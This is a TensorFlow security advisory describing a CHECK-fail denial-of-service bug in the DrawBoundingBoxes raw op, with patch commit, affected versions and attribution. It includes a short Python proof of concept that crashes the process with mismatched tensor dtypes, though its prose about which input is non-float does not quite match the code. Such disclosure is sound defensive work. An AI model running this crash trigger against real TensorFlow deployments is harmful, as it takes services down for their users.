TensorFlow vulnerable to `CHECK` fail in `DrawBoundingBoxes`
### Impact
When `DrawBoundingBoxes` receives an input `boxes` that is not of dtype `float`, it gives a `CHECK` fail that can trigger a denial of service attack.
```python
import tensorflow as tf
import numpy as np
arg_0=tf.constant(value=np.random.random(size=(1, 3, 2, 3)), shape=(1, 3, 2, 3), dtype=tf.half)
arg_1=tf.constant(value=np.random.random(size=(1, 2, 4)), shape=(1, 2, 4), dtype=tf.float32)
arg_2=''
tf.raw_ops.DrawBoundingBoxes(images=arg_0, boxes=arg_1, name=arg_2)
```
### Patches
We have patched the issue in GitHub commit da0d65cdc1270038e72157ba35bf74b85d9bda11
https://github.com/tensorflow/tensorflow/commit/da0d65cdc1270038e72157ba35bf74b85d9bda11.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.